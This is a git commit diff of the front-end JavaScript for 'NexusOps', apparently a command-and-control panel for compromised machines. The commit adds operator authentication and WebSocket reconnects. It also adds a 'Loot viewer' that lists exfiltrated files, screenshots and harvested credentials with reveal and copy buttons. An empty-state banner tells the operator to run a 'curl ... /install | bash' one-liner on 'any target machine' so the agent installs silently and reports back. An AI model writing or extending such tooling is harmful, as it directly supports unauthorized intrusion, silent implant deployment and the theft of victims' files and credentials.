feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts
This commit is contained in:
279
public/app.js
279
public/app.js
@@ -1,3 +1,70 @@
|
||||
|
||||
// ── Auth & API wrapper ──
|
||||
let nexusToken = localStorage.getItem('nexus_token') || null;
|
||||
let authRequired = false;
|
||||
|
||||
const _origFetch = window.fetch.bind(window);
|
||||
window.fetch = function(url, opts = {}) {
|
||||
opts.headers = opts.headers || {};
|
||||
if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
|
||||
opts.headers['Authorization'] = 'Bearer ' + nexusToken;
|
||||
}
|
||||
return _origFetch(url, opts).then(resp => {
|
||||
if (resp.status === 401 && authRequired) showAuthGate();
|
||||
return resp;
|
||||
});
|
||||
};
|
||||
|
||||
function showAuthGate() {
|
||||
authRequired = true;
|
||||
document.getElementById('authOverlay').style.display = 'flex';
|
||||
setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
|
||||
}
|
||||
function hideAuthGate() {
|
||||
document.getElementById('authOverlay').style.display = 'none';
|
||||
document.getElementById('authError').style.display = 'none';
|
||||
}
|
||||
|
||||
async function submitAuthToken() {
|
||||
const val = document.getElementById('authTokenInput').value.trim();
|
||||
if (!val) return;
|
||||
nexusToken = val;
|
||||
try {
|
||||
const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
|
||||
if (r.ok) {
|
||||
localStorage.setItem('nexus_token', val);
|
||||
hideAuthGate();
|
||||
toast('Authenticated', 'success');
|
||||
bootApp();
|
||||
} else {
|
||||
document.getElementById('authError').style.display = 'block';
|
||||
nexusToken = null;
|
||||
}
|
||||
} catch(e) {
|
||||
document.getElementById('authError').style.display = 'block';
|
||||
}
|
||||
}
|
||||
|
||||
async function probeAuth() {
|
||||
try {
|
||||
const r = await _origFetch('/api/status');
|
||||
if (r.status === 401) { showAuthGate(); return false; }
|
||||
return true;
|
||||
} catch(e) { return true; }
|
||||
}
|
||||
|
||||
// ── Toasts ──
|
||||
function toast(msg, type = 'info') {
|
||||
const stack = document.getElementById('toastStack');
|
||||
if (!stack) return;
|
||||
const el = document.createElement('div');
|
||||
el.className = 'toast toast-' + type;
|
||||
const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
|
||||
el.innerHTML = '<i class="fa-solid ' + (icons[type] || icons.info) + '"></i><span>' + escapeHtml(msg) + '</span>';
|
||||
stack.appendChild(el);
|
||||
setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
|
||||
}
|
||||
|
||||
// NexusOps Dashboard Application Logic
|
||||
|
||||
let nodesData = [];
|
||||
@@ -26,12 +93,20 @@ function updateServerEndpoint() {
|
||||
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
|
||||
}
|
||||
|
||||
let _wsBackoff = 1000;
|
||||
let _wsAttempts = 0;
|
||||
let _wsHalted = false;
|
||||
|
||||
function initWebSocket() {
|
||||
if (_wsHalted) return;
|
||||
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
|
||||
const wsUrl = `${protocol}//${window.location.host}`;
|
||||
let wsUrl = `${protocol}//${window.location.host}`;
|
||||
if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
|
||||
const ws = new WebSocket(wsUrl);
|
||||
|
||||
ws.onopen = () => {
|
||||
_wsBackoff = 1000;
|
||||
_wsAttempts = 0;
|
||||
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
|
||||
document.querySelector('.status-indicator').classList.add('online');
|
||||
};
|
||||
@@ -56,13 +131,23 @@ function initWebSocket() {
|
||||
}
|
||||
};
|
||||
|
||||
ws.onclose = () => {
|
||||
document.getElementById('navConnectionStatus').textContent = 'Disconnected (Reconnecting...)';
|
||||
ws.onclose = (ev) => {
|
||||
document.querySelector('.status-indicator').classList.remove('online');
|
||||
setTimeout(initWebSocket, 3000);
|
||||
if (ev.code === 4401) {
|
||||
_wsHalted = true;
|
||||
document.getElementById('navConnectionStatus').textContent = 'Auth Required';
|
||||
showAuthGate();
|
||||
return;
|
||||
}
|
||||
_wsAttempts++;
|
||||
document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
|
||||
const jitter = Math.random() * 500;
|
||||
setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
|
||||
_wsBackoff = Math.min(_wsBackoff * 2, 30000);
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
function renderDashboard() {
|
||||
renderOverviewStats();
|
||||
renderNodesGrid();
|
||||
@@ -94,6 +179,11 @@ function renderNodesGrid() {
|
||||
const container = document.getElementById('nodesGrid');
|
||||
const search = document.getElementById('searchInput').value.toLowerCase();
|
||||
|
||||
if (!nodesData.length) {
|
||||
container.innerHTML = renderEmptyHero();
|
||||
if (window.QRCode && endpoint) { /* QR handled below */ }
|
||||
return;
|
||||
}
|
||||
let filtered = nodesData.filter(node => {
|
||||
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
|
||||
const matchesSearch = !search ||
|
||||
@@ -761,3 +851,184 @@ function checkForNewNodes() {
|
||||
document.addEventListener('click', () => {
|
||||
if (Notification.permission === 'default') Notification.requestPermission();
|
||||
}, { once: true });
|
||||
|
||||
|
||||
// ── Loot viewer ──
|
||||
let lootFiles = [];
|
||||
let lootCreds = [];
|
||||
let lootObjectUrls = {};
|
||||
let _lootSeenFiles = new Set();
|
||||
let _lootSeenCreds = new Set();
|
||||
let _lootFirstPoll = true;
|
||||
|
||||
function switchLootTab(tab) {
|
||||
document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
|
||||
document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
|
||||
document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
|
||||
document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
|
||||
}
|
||||
|
||||
function humanSize(b) {
|
||||
if (!b && b !== 0) return '?';
|
||||
if (b < 1024) return b + ' B';
|
||||
if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
|
||||
return (b/1048576).toFixed(1) + ' MB';
|
||||
}
|
||||
|
||||
function relTime(ts) {
|
||||
const s = Math.floor((Date.now() - ts) / 1000);
|
||||
if (s < 60) return s + 's ago';
|
||||
if (s < 3600) return Math.floor(s/60) + 'm ago';
|
||||
if (s < 86400) return Math.floor(s/3600) + 'h ago';
|
||||
return Math.floor(s/86400) + 'd ago';
|
||||
}
|
||||
|
||||
async function pollLoot() {
|
||||
try {
|
||||
const [fr, cr] = await Promise.all([
|
||||
fetch('/api/files').then(r => r.ok ? r.json() : []),
|
||||
fetch('/api/credentials').then(r => r.ok ? r.json() : [])
|
||||
]);
|
||||
// Toasts on new arrivals (skip first poll)
|
||||
if (!_lootFirstPoll) {
|
||||
fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
|
||||
cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
|
||||
} else {
|
||||
fr.forEach(f => _lootSeenFiles.add(f.id));
|
||||
cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
|
||||
_lootFirstPoll = false;
|
||||
}
|
||||
lootFiles = fr;
|
||||
lootCreds = cr;
|
||||
renderLoot();
|
||||
} catch(e) { /* offline tolerance */ }
|
||||
}
|
||||
|
||||
function renderLoot() {
|
||||
document.getElementById('lootFilesCount').textContent = lootFiles.length;
|
||||
document.getElementById('lootCredsCount').textContent = lootCreds.length;
|
||||
|
||||
// Files
|
||||
const fp = document.getElementById('lootFilesPanel');
|
||||
if (!lootFiles.length) {
|
||||
fp.innerHTML = '<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil & Harvest on an online node.</div>';
|
||||
} else {
|
||||
fp.innerHTML = '<table class="loot-table"><thead><tr><th></th><th>File</th><th>Node</th><th>Size</th><th>When</th><th></th></tr></thead><tbody>' +
|
||||
lootFiles.slice().reverse().map(f => {
|
||||
const isImg = (f.mime || '').startsWith('image/');
|
||||
const thumbId = 'thumb-' + f.id;
|
||||
if (isImg && !lootObjectUrls[f.id]) {
|
||||
fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
|
||||
lootObjectUrls[f.id] = URL.createObjectURL(b);
|
||||
const el = document.getElementById(thumbId);
|
||||
if (el) el.src = lootObjectUrls[f.id];
|
||||
}).catch(() => {});
|
||||
}
|
||||
return '<tr>' +
|
||||
'<td class="loot-thumb-cell">' + (isImg
|
||||
? '<img id="' + thumbId + '" class="loot-thumb" onclick="openLootLightbox(\'' + f.id + '\')" alt="img">'
|
||||
: '<i class="fa-solid fa-file loot-file-icon"></i>') + '</td>' +
|
||||
'<td>' + escapeHtml(f.filename) + '<div class="loot-mime">' + escapeHtml(f.mime || '') + '</div></td>' +
|
||||
'<td>' + escapeHtml(f.hostname || f.nodeId || '?') + '</td>' +
|
||||
'<td>' + humanSize(f.size) + '</td>' +
|
||||
'<td>' + relTime(f.timestamp) + '</td>' +
|
||||
'<td><button class="btn-icon" title="Download" onclick="lootDownload(\'' + f.id + '\', \'' + escapeHtml(f.filename).replace(/'/g, "\\'") + '\')"><i class="fa-solid fa-download"></i></button></td>' +
|
||||
'</tr>';
|
||||
}).join('') + '</tbody></table>';
|
||||
}
|
||||
|
||||
// Credentials
|
||||
const cp = document.getElementById('lootCredsPanel');
|
||||
if (!lootCreds.length) {
|
||||
cp.innerHTML = '<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil & Harvest on an online node.</div>';
|
||||
} else {
|
||||
const groups = {};
|
||||
lootCreds.forEach((c, i) => {
|
||||
const key = (c.hostname || c.nodeId || 'unknown');
|
||||
groups[key] = groups[key] || [];
|
||||
groups[key].push(Object.assign({ _idx: i }, c));
|
||||
});
|
||||
cp.innerHTML = Object.entries(groups).map(([host, items]) =>
|
||||
'<div class="loot-cred-group"><div class="loot-cred-host"><i class="fa-solid fa-server"></i> ' + escapeHtml(host) + ' <span class="badge">' + items.length + '</span></div>' +
|
||||
items.map(c => {
|
||||
const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
|
||||
const cid = 'cred-' + c._idx;
|
||||
return '<div class="loot-cred-row">' +
|
||||
'<span class="badge purple">' + escapeHtml(c.type || 'unknown') + '</span>' +
|
||||
'<code class="loot-cred-val" id="' + cid + '" data-masked="1" title="Click to reveal">••••••••••</code>' +
|
||||
'<span class="loot-cred-time">' + relTime(c.timestamp) + '</span>' +
|
||||
'<button class="btn-icon" title="Reveal" onclick="toggleCredReveal(\'' + cid + '\', this)" data-raw="' + escapeHtml(raw).replace(/"/g, '"') + '"><i class="fa-solid fa-eye"></i></button>' +
|
||||
'<button class="btn-icon" title="Copy" onclick="lootCopy(this)" data-raw="' + escapeHtml(raw).replace(/"/g, '"') + '"><i class="fa-solid fa-copy"></i></button>' +
|
||||
'</div>';
|
||||
}).join('') + '</div>'
|
||||
).join('');
|
||||
}
|
||||
}
|
||||
|
||||
function toggleCredReveal(cid, btn) {
|
||||
const el = document.getElementById(cid);
|
||||
if (el.dataset.masked === '1') {
|
||||
el.textContent = btn.dataset.raw;
|
||||
el.dataset.masked = '0';
|
||||
btn.innerHTML = '<i class="fa-solid fa-eye-slash"></i>';
|
||||
} else {
|
||||
el.textContent = '••••••••••';
|
||||
el.dataset.masked = '1';
|
||||
btn.innerHTML = '<i class="fa-solid fa-eye"></i>';
|
||||
}
|
||||
}
|
||||
|
||||
function lootCopy(btn) {
|
||||
navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
|
||||
}
|
||||
|
||||
function openLootLightbox(id) {
|
||||
const lb = document.getElementById('lootLightbox');
|
||||
const img = document.getElementById('lootLightboxImg');
|
||||
if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
|
||||
}
|
||||
function closeLootLightbox() {
|
||||
document.getElementById('lootLightbox').style.display = 'none';
|
||||
}
|
||||
|
||||
function lootDownload(id, filename) {
|
||||
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
|
||||
const a = document.createElement('a');
|
||||
a.href = URL.createObjectURL(b);
|
||||
a.download = filename;
|
||||
a.click();
|
||||
setTimeout(() => URL.revokeObjectURL(a.href), 5000);
|
||||
}).catch(() => toast('Download failed', 'error'));
|
||||
}
|
||||
|
||||
// ── Empty state hero ──
|
||||
function renderEmptyHero() {
|
||||
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
|
||||
const cmd = `curl -sSL ${endpoint}/install | bash`;
|
||||
return '<div class="empty-hero">' +
|
||||
'<i class="fa-solid fa-satellite-dish empty-hero-icon"></i>' +
|
||||
'<h2>No Nodes Deployed Yet</h2>' +
|
||||
'<p>Run this one-liner on any target machine — auto-detects OS, installs silently, reports back in seconds.</p>' +
|
||||
'<div class="empty-cmd"><code id="emptyCmd">' + escapeHtml(cmd) + '</code>' +
|
||||
'<button class="btn btn-primary" onclick="navigator.clipboard.writeText(document.getElementById(\'emptyCmd\').textContent).then(()=>toast(\'Install command copied\',\'success\'))"><i class="fa-solid fa-copy"></i> Copy</button></div>' +
|
||||
'<div id="emptyQr" class="empty-qr"></div>' +
|
||||
'<p class="empty-hint">or click <strong>Deploy Agent</strong> above for platform-specific installers</p>' +
|
||||
'</div>';
|
||||
}
|
||||
|
||||
// ── Boot ──
|
||||
let _booted = false;
|
||||
function bootApp() {
|
||||
if (_booted) return;
|
||||
_booted = true;
|
||||
initWebSocket();
|
||||
pollLoot();
|
||||
setInterval(pollLoot, 15000);
|
||||
}
|
||||
|
||||
document.addEventListener('DOMContentLoaded', async () => {
|
||||
const open = await probeAuth();
|
||||
if (open) bootApp();
|
||||
document.getElementById('authTokenSubmit').addEventListener('click', submitAuthToken);
|
||||
document.getElementById('authTokenInput').addEventListener('keydown', e => { if (e.key === 'Enter') submitAuthToken(); });
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user